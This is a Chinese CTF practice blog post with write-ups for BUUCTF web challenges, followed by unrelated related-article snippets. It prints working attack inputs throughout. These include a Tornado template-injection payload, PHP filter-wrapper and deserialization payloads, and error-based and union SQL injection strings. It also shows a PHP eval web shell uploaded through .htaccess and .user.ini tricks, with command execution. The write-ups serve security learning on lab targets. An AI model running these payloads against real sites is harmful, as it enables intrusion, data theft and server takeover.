buu刷题(2)

[护网杯 2018]easy_tornado

web buuctf [护网杯 2018]easy_tornado1_[护网杯 2018]easy_tornado 1-CSDN博客

render是渲染HTML页面用到的函数
这应该是一个模板注入漏洞

访问/fllllllllllllag,自动跳到了这个页面,可以看到 url 上有个msg=Error,
尝试将  Error 更换成其他的值,可以发现有回显

 所以就可以通过msg的值进行传参,得到想要的内容
从提升来看,我们需要获得cookie_secret的值

web buuctf [护网杯 2018]easy_tornado1_[护网杯 2018]easy_tornado 1-CSDN博客

(大佬博客有解析)
传参  {{handler.settings}}  可以获得cookie_secret的值

根据提示需要将 它的值 加上filename(/fllllllllllllag)的MD5值 在进行MD5加密 ,得到flag

[ZJCTF 2019]NiZhuanSiWei

分析代码,需要GET传参  text&file&password  三个参数,file 传参的值不能有flag,password传参的值会反序列化,file_get_contents 得到文件里的内容,并且还要与 welcome to the zjctf 
相等,应该是找不到这样的文件的
,所以使用 data 伪协议绕过,
?text=data://text/plain,welcome to the zjctf&file=useless.php ,但是依旧没有反应,
可能  include(useless.php) ,直接执行了,没有把源码显示出来,所以依旧使用伪协议绕过
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

  然后将其base64解码

本地运行一下,将得到的值传入password

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}          (这个时候file传参的值就不要用伪协议绕过了,因为需要他去执行代码)

[极客大挑战 2019]HardSQL

先测试一下 1 ,1'  ,1"  ,可以发现应该为单引号型的
再爆一下字段数  order by  ,可以发现是被过滤了,尝试双写绕不过

再试试联合注入,union  被过滤了,  空格也被过滤了
尝试一下报错注入
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#         可以成功 ,继续

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))# 

1'or(updatexml(1,concat(0x7e,(select(group_concat(id,0x7e,username,0x7e,password))from(H4rDsq1))),1))# 

因为长度的限制,使用right函数来获取另一半
1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))),1))# 

将得到两份flag拼凑一下就行

[MRCTF2020]Ez_bypass

MD5强比较:传数组
password弱比较,直接传参password=1234567a,  即可得到flag

[网鼎杯 2020 青龙组]AreUSerialz

分析代码,对GET传参的 str 值反序列化,我们需要 read()这个函数 ,去读取flag.php,得到flag,所以将op的值改为2,file的值为flag.php,但是__destruct()会将op的值改为2,需要将它绕过,
一个是强比较,一个是弱比较,通过这个绕过,赋值 op=2 (整数型),绕过__destruct()

本地运行一下,运行的结果赋值给   str  ,可以得到flag

[SUCTF 2019]CheckIn

文件上传的题,直接上传一个图片码,抓包修改数据

内容有问题,应该是过滤了什么,用二分法将它排查出来,可知是过滤了?
用   <script language='php'>@eval($_POST[1])</script>  绕过,可以上传

但是 .png 后缀无法解析代码,需要在上传  .user.ini  ,将  .png 能够当作php文件解析

然后在上传 1.png 文件 ,

直接进行命令执行 (也可以连接蚁剑)

        POST传参        1=system("tac /flag");

[GXYCTF2019]BabySQli

测试后可知 是单引号型的注入
但是过滤了好多东西,双写,报错注入啥的都没有用,抓包之后可以看到有一个编码

先base64再base32
(工具:CyberChef)

试了很多一直是      报错:wrong user!

试了 admin    ,终于不一样了,报错是:wrong pass!

可能  name应该是必须要有admin
在测试列数,这样3列的时候会显示 wrong pass

应该是对密码做了什么操作,有点懵
https://www.cnblogs.com/Cl0ud/p/12604647.html

BUUCTF [GXYCTF2019]BabySQli实战_babysqliv2.0-CSDN博客

看了wp 后,是对密码进行了MD5加密,需要匹配用户名为  admin  的密码的MD5

(为什么可以知道进行了MD5加密,可以在password框里输入一些会报错的语句,但是如果没有报错,就能确定是进行了加密的,密码一般是MD5加密)
但我们又不可能知道密码,需要将它绕过,使用 联合查询 union select
联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据
不知道3个字段里哪个为密码的字段,可以多尝试几遍

name=111' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e';#&pw=123456

但是name后面不能是admin了,要不然就会密码不正确
name=admin' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e';#&pw=123456

[GXYCTF2019]BabyUpload

随便上传一个php文件,不允许上传,抓包更改数据

可以成功,但是浏览器无法解析  .png 里的代码,无法执行命令

尝试传了一下 .user.ini 没有用,好像upload下没有index.php,  .user.ini 发挥不了作用

尝试传 .htaccess
内容为:
GIF89a(好像没有也可以,一般习惯放上去)
AddType application/x-httpd-php .png
然后再上传  1.png 
<script language='php'>@eval($_POST[1])</script>
 命令执行一下发现可以成功

蚁剑连一下,或者命令执行  ,

[MRCTF2020]你传你🐎呢

随便传个文件,抓包修改,对于php,phtml 等后缀都上传不了,.png后缀可以上传

上传了  .user.ini  依旧不能解析代码,无法命令执行,当前目录没有index.php
尝试使用  .htaccess

进入到相应页面,可以命令执行,上传成功

直接蚁剑连一下,拿到flag

[GYCTF2020]Blacklist

用1' 会报错,单字符型

1' or 1#  万能密码也有用

1' order by 2 正常回显,by 3  报错, 字段数为2
1' union selcct 1,3#  过滤了一些东西

1';show databases;# 

1';show tables;#

1';show columns from FlagHere;#

使用handler语句读取数据
1';handler FlagHere open;handler FlagHere read next;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/518230.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

力扣 904.水果成篮

题目&#xff1a; 题目理解&#xff1a;fruits里的每个数字表示一种类型水果&#xff0c;相同数字表示同种类型水果。 class Solution {public int totalFruit(int[] fruits) {// 用HashMap来表示篮子&#xff0c;key表示水果类型&#xff0c;value表示多少颗树Map<Intege…

工厂车间系统|基于springboot的工厂车间管理系统设计与实现(附项目源码+论文)

基于springboot工厂车间管理的设计与实现 一、摘要 社会发展日新月异&#xff0c;用计算机应用实现数据管理功能已经算是很完善的了&#xff0c;但是随着移动互联网的到来&#xff0c;处理信息不再受制于地理位置的限制&#xff0c;处理信息及时高效&#xff0c;备受人们的喜爱…

R语言数据操纵:如何构建子集

目录 向量的子集 矩阵的子集 数据框的子集 列表的子集 如何处理缺失值 向量化操作 构建子集的基本方法&#xff1a; 1.使用[]提取一个或多个类型相同的元素 2.使用[[]]从列表或者数据框中提取元素 3.使用$按名字从列表或数据框中提取元素 向量的子集 比如有一个向量…

uniapp:小程序腾讯地图程序文件qqmap-wx-jssdk.js 文件一直找不到无法导入

先看问题&#xff1a; 在使用腾讯地图api时无法导入到qqmap-wx-jssdk.js文件 解决方法&#xff1a;1、打开qqmap-wx-jssdk.js最后一行 然后导入&#xff1a;这里是我的路径位置&#xff0c;可以根据自己的路径位置进行更改导入 最后在生命周期函数中输出&#xff1a; 运行效果…

mybatis流式游标查询-导出DB大数据量查询OOM问题

问题场景 Mysql数据处理类型分以下三种 com.mysql.cj.protocol.a.result.ResultsetRowsStatic&#xff1a;普通查询&#xff0c;将结果集一次性全部拉取到内存 com.mysql.cj.protocol.a.result.ResultsetRowsCursor&#xff1a;游标查询&#xff0c;将结果集分批拉取到内存&…

【Python基础教程】5. 数

&#x1f388;个人主页&#xff1a;豌豆射手^ &#x1f389;欢迎 &#x1f44d;点赞✍评论⭐收藏 &#x1f917;收录专栏&#xff1a;python基础教程 &#x1f91d;希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff0c;让我们共同学习、…

文本处理语言awk基本语法

文章目录 运算符流程控制函数封装 awk语言初步 AWK 是一种强大的文本处理和数据解析工具&#xff0c;它支持丰富的运算符和流程控制语句。运算符方面&#xff0c;AWK 提供了基本的算术运算符&#xff08;, -, *, /, %, ^, **&#xff09;和赋值运算符&#xff08;, -, *, /, %…

【QT+QGIS跨平台编译】056:【pdal_json_schema+Qt跨平台编译】(一套代码、一套框架,跨平台编译)

点击查看专栏目录 文章目录 一、pdal_json_schema介绍二、pdal下载三、文件分析四、pro文件五、编译实践一、pdal_json_schema介绍 pdal_json_schema 是与 PDAL(Point Data Abstraction Library)相关的 JSON 模式文件。PDAL 是一个用于处理和分析点云数据的开源库。JSON 模式…

常见寻找 SQL 注入漏洞方法总结

一、借助推理进行测试 识别 SOL 注入漏洞有一种简单的规则:通过发送意外数据来触发异常。该规则包括如下含义: 1. 识别 Web 应用上所有的数据输入。 2. 了解哪种类型的请求会触发异常。 3. 检测服务器响应中的异常。 二、通过参数判断 假设你正在访问一个网站&#xff0c…

NoSQL之Redis配置

文章目录 NoSQL之Redis配置一、关系数据库和非关系数据库1、关系型数据库2、非关系型数据库3、非关系型数据库产生背景4、关系型数据库和非关系型数据库的区别4.1 数据存储方式不同4.2 扩展方式不同4.3 对事务性的支持不同 5、总结5.1 关系型数据库5.2 非关系型数据库 二、Redi…

Spring-IoC 基于注解

基于xml方法见&#xff1a;http://t.csdnimg.cn/dir8j 注解是代码中的一种特殊标记&#xff0c;可以在编译、类加载和运行时被读取&#xff0c;执行相应的处理&#xff0c;简化 Spring的 XML配置。 格式&#xff1a;注解(属性1"属性值1",...) 可以加在类上…

大数据基础设施搭建 - Spark

文章目录 一、解压压缩包二、修改配置文件conf/spark-env.sh三、测试提交Spark任务四、Spark on Hive配置4.1 创建hive-site.xml&#xff08;spark/conf目录&#xff09;4.2 查看hive的hive-site.xml配置与3.1配置的是否一致4.3 测试SparkSQL4.3.1 启动SparkSQL客户端&#xff…

【JAVA】JAVA快速入门(长期维护)

下面是java的一些入门基础知识&#xff0c;有需要借鉴即可。 课程&#xff1a;B站黑马程序员&#xff0c;JAVA入门LINK 一、初识JAVA 1.java概述 概念&#xff1a;java是由sun公司研发&#xff0c;在2009年被oracle收购&#xff0c;祖师爷詹姆斯高斯林&#xff0c;是一种高级…

Copilot for Microsoft365使用心得

从去年3月份的发布到上周获得的体验名额&#xff0c;关注copilot已经超过了一年&#xff0c; 实际体验了一周觉得微软这款产品真的挺厉害的&#xff0c;至少在我认知里面确实可以减少很多的工作量&#xff0c;在此感谢陈老师公众号的体验卡的活动&#xff08;活动真实有效&…

101. 对称二叉树及同类题

101. 对称二叉树 力扣题目链接(opens new window) 给定一个二叉树&#xff0c;检查它是否是镜像对称的。 递归 /*** Definition for a binary tree node.* public class TreeNode {* int val;* TreeNode left;* TreeNode right;* TreeNode() {}* TreeNo…

【青龙脚本】星抖

脚本出处:Huaji 功能:完成日常任务 每天运行1次即可 变量名:yuanshen_xddj 手机登录软件后&#xff0c;抓包&#xff0c;搜索Authorization里面的参数 注意:每天12小时都要进软件领取金块&#xff0c;超过12小时就会停止产出 参数设置都在脚本注释里&#xff0c;懂的都懂&a…

Redis从入门到精通(五)Redis实战(二)商户查询缓存

↑↑↑请在文章头部下载测试项目原代码↑↑↑ 文章目录 前言4.2 商户查询缓存4.2.1 缓存介绍4.2.2 查询商户信息的传统做法4.2.2.1 接口文档4.2.2.2 代码实现4.2.2.3 功能测试 4.2.3 查询商户信息添加Redis缓存4.2.3.1 逻辑分析4.2.3.2 代码实现4.2.3.3 功能测试 4.2.3 数据一致…

传输层 --- UDP

目录 1. 传输层是什么呢&#xff1f; 2. 再谈端口号 2.1. 端口号是什么 2.2. 协议号是什么 2.3. 认识知名端口号 2.4. 端口号的相关问题 2.4.1. 一个进程可以绑定多个端口号吗&#xff1f; 2.4.2. 一个端口号可以被多个进程绑定吗&#xff1f; 2.4.3. 为什么不使用P…

向量数据库 | AI时代的航道灯塔

向量数据库 | AI时代的航道灯塔 什么是向量检索服务拍照搜商品 你使用过向量数据库吗&#xff1f;使用体验&#xff1f;为什么向量数据库能借由大模型引起众多关注向量数据库在当前AI热潮中是昙花一现&#xff0c;还是未来AI时代的航道灯塔&#xff1f; 今天的话题主要是讨论向…

python-基础篇-字符串、列表、元祖、字典-列表

文章目录 2.3.2列表2.3.2.1列表介绍2.3.2.1.1列表的格式2.3.2.1.2打印列表 2.3.2.2列表的增删改查2.3.2.2.1列表的遍历2.3.2.2.1.1使用for循环2.3.2.2.1.2使用while循环 2.3.2.2.2添加元素("增"append, extend, insert)2.3.2.2.2.1append 2.3.2.2.2.2extend2.3.2.2.2…